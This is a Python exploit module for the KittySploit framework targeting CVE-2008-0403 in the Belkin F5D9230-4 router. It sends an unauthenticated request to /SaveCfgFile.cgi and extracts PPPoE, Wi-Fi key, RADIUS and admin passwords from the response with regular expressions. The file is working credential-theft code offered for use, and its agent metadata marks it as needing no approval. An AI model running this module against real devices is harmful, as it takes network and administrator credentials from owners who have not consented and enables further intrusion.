Belkin G Info Disclosure

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Belkin G Info Disclosure"""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client



class Module(Auxiliary, Http_client):
    __info__ = {
        'name': 'Belkin G Info Disclosure',
        'description': 'Module exploits Belkin Wireless G Plus MIMO Router F5D9230-4 information disclosure vulnerability which allows fetching sensitive information such as credentials.',
        'author': ['DarkFig', 'Marcin Bury'],
        'cve': ['CVE-2008-0403'],
        'platform': Platform.LINUX,
        'references': ['http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0403', 'https://www.exploit-db.com/exploits/4941/'],
        'tags': ['iot', 'router', 'disclosure', 'credentials', 'unauth', 'cve-2008-0403', 'auxiliary'],
        'agent': {
            'risk': 'active',
            'effects': ['credential_access', 'data_exfiltration'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['credentials', 'risk_signals'],
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")

    def run(self):
        response = self.http_request(
            method="GET",
            path="/SaveCfgFile.cgi",
        )
        if response is None:
            return

        var = [
            'pppoe_username',
            'pppoe_password',
            'wl0_pskkey',
            'wl0_key1',
            'mradius_password',
            'mradius_secret',
            'httpd_password',
            'http_passwd',
            'pppoe_passwd'
        ]

        data = []
        for v in var:
            regexp = '{}="(.+?)"'.format(v)

            val = re.findall(regexp, response.text)
            if len(val):
                data.append((v, val[0]))

        if len(data):
            print_success("Exploit success")
            headers = ("Option", "Value")
            print_table(headers, *data)

        else:
            print_error("Exploit failed")
    def check(self):
        response = self.http_request(
            method="GET",
            path="/SaveCfgFile.cgi",
        )
        if response is None:
            return False  # target is not vulnerable

        var = [
            'pppoe_username',
            'pppoe_password',
            'wl0_pskkey',
            'wl0_key1',
            'mradius_password',
            'mradius_secret',
            'httpd_password',
            'http_passwd',
            'pppoe_passwd'
        ]

        if any(map(lambda x: x in response.text, var)):
            return True   # target vulnerable

        return False  # target is not vulnerable